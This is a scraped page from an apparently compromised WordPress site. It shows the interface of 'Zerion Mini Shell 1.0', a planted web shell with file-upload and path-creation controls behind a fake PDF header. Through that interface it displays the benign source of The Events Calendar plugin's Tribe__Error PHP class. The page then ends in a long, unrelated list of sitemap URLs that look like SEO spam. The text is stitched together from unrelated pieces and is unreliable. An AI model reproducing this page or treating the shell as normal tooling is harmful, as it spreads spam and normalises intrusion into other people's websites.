%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/
Upload File :
Create Path :
Current File : //dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/Error.php

<?php
// Don't load directly
defined( 'WPINC' ) or die;

class Tribe__Error {
	/**
	 * All the Errors Registered
	 * @var array
	 */
	private $items = [];

	/**
	 * Static Singleton Holder
	 *
	 * @var self
	 */
	private static $instance;

	/**
	 * Static Singleton Factory Method
	 *
	 * @return self
	 */
	public static function instance() {
		if ( ! self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	/**
	 * Setup all the hooks and filters
	 *
	 * @return void
	 */
	private function __construct() {
		$this->register( 'unknown', esc_html__( 'An Unknown error occurred' ) );
	}

	/**
	 * Make a quickly usable method to transform code/indexes to WP_Errors
	 *
	 * @see tribe_error()
	 *
	 * @param string|array $indexes Which Error we are looking for.
	 * @param array        $context Gives the Error context.
	 * @param array        $sprintf Allows variables on the message.
	 *
	 * @return WP_Error
	 */
	public function send( $indexes, $context = [], $sprintf = [] ) {
		if ( ! $this->exists( $indexes ) ) {
			$indexes = [ 'unknown' ];
		}

		// Fetches the Errors
		$messages = (array) $this->get( $indexes );
		$error    = new WP_Error;

		foreach ( $messages as $key => $message ) {
			// Allows variables when sending the message
			if ( ! empty( $sprintf ) ) {
				$message = vsprintf( $message, $sprintf );
			}
			// Add this Message to the WP_Error
			$error->add( $key, $message, $context );
		}

		return $error;
	}

	/**
	 * Register a new error based on a Namespace
	 *
	 * @param string|array $indexes  A list of the namespaces and last item should be the error name.
	 * @param string       $message  What is going to be the message associate with this indexes.
	 *
	 * @return boolean
	 */
	public function register( $indexes, $message ) {
		if ( is_string( $indexes ) ) {
			// Each namespace should come with `:`
			$indexes = (array) explode( ':', $indexes );
		}

		// Couldn't register the error
		if ( empty( $indexes ) ) {
			return false;
		}

		$variable = &$this->items;
		$count    = count( $indexes );

		// Will create the Indexes based on the $slug
		foreach ( $indexes as $i => $index ) {
			if ( $count === $i + 1 ) {
				$variable[ $index ] = $message;
			} else {
				$variable = &$variable[ $index ];
			}
		}

		// Allows Chain Reactions
		return true;
	}

	/**
	 * Removes an error from the items
	 *
	 * @param string|array $indexes A list of the namespaces and last item should be the error name.
	 *
	 * @return boolean
	 */
	public function remove( $indexes ) {
		if ( ! $this->exists( $indexes ) ) {
			return false;
		}

		if ( is_string( $indexes ) ) {
			// Each namespace should come with `:`
			$indexes = (array) explode( ':', $indexes );
		}

		// Ensures that we don't modify the original
		$variable = &$this->items;
		$count    = count( $indexes );

		foreach ( $indexes as $i => $index ) {
			if ( $count === $i + 1 ) {
				unset( $variable[ $index ] );
			} else {
				$variable = &$variable[ $index ];
			}
		}

		return true;
	}

	/**
	 * Fetches the error or namespace
	 *
	 * @param string|array $indexes (optional) A list of the namespaces and last item should be the error name.
	 *
	 * @return null|array|string
	 */
	public function get( $indexes = null ) {
		if ( is_null( $indexes ) ) {
			return $this->items;
		}

		if ( is_string( $indexes ) ) {
			// Each namespace should come with `:`
			$indexes = (array) explode( ':', $indexes );
		}

		// Ensures that we don't modify the original
		$variable = $this->items;
		$count    = count( $indexes );

		foreach ( $indexes as $i => $index ) {
			if ( ! isset( $variable[ $index ] ) ) {
				// If we are on the last item and we don't have it set make it Null
				if ( $count === $i + 1 ) {
					return null;
				}
				continue;
			}

			$variable = $variable[ $index ];
		}

		$return        = [];
		$was_namespace = is_array( $variable );

		/**
		 * @todo Allow fetching bigger groups
		 *       Right now you can only fetch the first group of messages
		 *       Trying to fetch Namespaces that contain other namespaces will bug
		 */
		foreach ( (array) $variable as $key => $value ) {
			$key = implode( ':', $indexes ) . ( $was_namespace ? ':' . $key : '' );
			$return[ $key ] = $value;
		}

		return $return;
	}

	/**
	 * Checks if a given error or namespace exists
	 *
	 * @param string|array $indexes A list of the namespaces and last item should be the error name.
	 *
	 * @return boolean
	 */
	public function exists( $indexes ) {
		$variable = $this->get( $indexes );
		return ! empty( $variable ) || is_array( $variable ) ? true : false;
	}
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap249.xml 2026-12-01 https://louisvillegop.com/sitemap319.xml 2026-12-01 https://louisvillegop.com/sitemap151.xml 2026-12-01 https://louisvillegop.com/sitemap49.xml 2026-12-01 https://louisvillegop.com/sitemap21.xml 2026-12-01 https://louisvillegop.com/sitemap117.xml 2026-12-01 https://louisvillegop.com/sitemap667.xml 2026-12-01 https://louisvillegop.com/sitemap613.xml 2026-12-01 https://louisvillegop.com/sitemap619.xml 2026-12-01 https://louisvillegop.com/sitemap994.xml 2026-12-01 https://louisvillegop.com/sitemap642.xml 2026-12-01 https://louisvillegop.com/sitemap407.xml 2026-12-01 https://louisvillegop.com/sitemap776.xml 2026-12-01 https://louisvillegop.com/sitemap301.xml 2026-12-01 https://louisvillegop.com/sitemap838.xml 2026-12-01 https://louisvillegop.com/sitemap247.xml 2026-12-01 https://louisvillegop.com/sitemap160.xml 2026-12-01 https://louisvillegop.com/sitemap784.xml 2026-12-01 https://louisvillegop.com/sitemap473.xml 2026-12-01 https://louisvillegop.com/sitemap381.xml 2026-12-01 https://louisvillegop.com/sitemap299.xml 2026-12-01 https://louisvillegop.com/sitemap362.xml 2026-12-01 https://louisvillegop.com/sitemap4.xml 2026-12-01 https://louisvillegop.com/sitemap492.xml 2026-12-01 https://louisvillegop.com/sitemap43.xml 2026-12-01 https://louisvillegop.com/sitemap387.xml 2026-12-01 https://louisvillegop.com/sitemap262.xml 2026-12-01 https://louisvillegop.com/sitemap558.xml 2026-12-01 https://louisvillegop.com/sitemap539.xml 2026-12-01 https://louisvillegop.com/sitemap694.xml 2026-12-01 https://louisvillegop.com/sitemap768.xml 2026-12-01 https://louisvillegop.com/sitemap241.xml 2026-12-01 https://louisvillegop.com/sitemap649.xml 2026-12-01 https://louisvillegop.com/sitemap843.xml 2026-12-01 https://louisvillegop.com/sitemap774.xml 2026-12-01 https://louisvillegop.com/sitemap711.xml 2026-12-01 https://louisvillegop.com/sitemap156.xml 2026-12-01 https://louisvillegop.com/sitemap489.xml 2026-12-01 https://louisvillegop.com/sitemap612.xml 2026-12-01 https://louisvillegop.com/sitemap150.xml 2026-12-01 https://louisvillegop.com/sitemap818.xml 2026-12-01 https://louisvillegop.com/sitemap29.xml 2026-12-01 https://louisvillegop.com/sitemap395.xml 2026-12-01 https://louisvillegop.com/sitemap145.xml 2026-12-01 https://louisvillegop.com/sitemap71.xml 2026-12-01 https://louisvillegop.com/sitemap107.xml 2026-12-01 https://louisvillegop.com/sitemap562.xml 2026-12-01 https://louisvillegop.com/sitemap50.xml 2026-12-01 https://louisvillegop.com/sitemap601.xml 2026-12-01 https://louisvillegop.com/sitemap288.xml 2026-12-01 https://louisvillegop.com/sitemap630.xml 2026-12-01 https://louisvillegop.com/sitemap81.xml 2026-12-01 https://louisvillegop.com/sitemap802.xml 2026-12-01 https://louisvillegop.com/sitemap878.xml 2026-12-01 https://louisvillegop.com/sitemap717.xml 2026-12-01 https://louisvillegop.com/sitemap295.xml 2026-12-01 https://louisvillegop.com/sitemap616.xml 2026-12-01 https://louisvillegop.com/sitemap95.xml 2026-12-01 https://louisvillegop.com/sitemap211.xml 2026-12-01 https://louisvillegop.com/sitemap146.xml 2026-12-01 https://louisvillegop.com/sitemap480.xml 2026-12-01 https://louisvillegop.com/sitemap367.xml 2026-12-01 https://louisvillegop.com/sitemap582.xml 2026-12-01 https://louisvillegop.com/sitemap688.xml 2026-12-01 https://louisvillegop.com/sitemap58.xml 2026-12-01 https://louisvillegop.com/sitemap926.xml 2026-12-01 https://louisvillegop.com/sitemap8.xml 2026-12-01 https://louisvillegop.com/sitemap406.xml 2026-12-01 https://louisvillegop.com/sitemap556.xml 2026-12-01 https://louisvillegop.com/sitemap602.xml 2026-12-01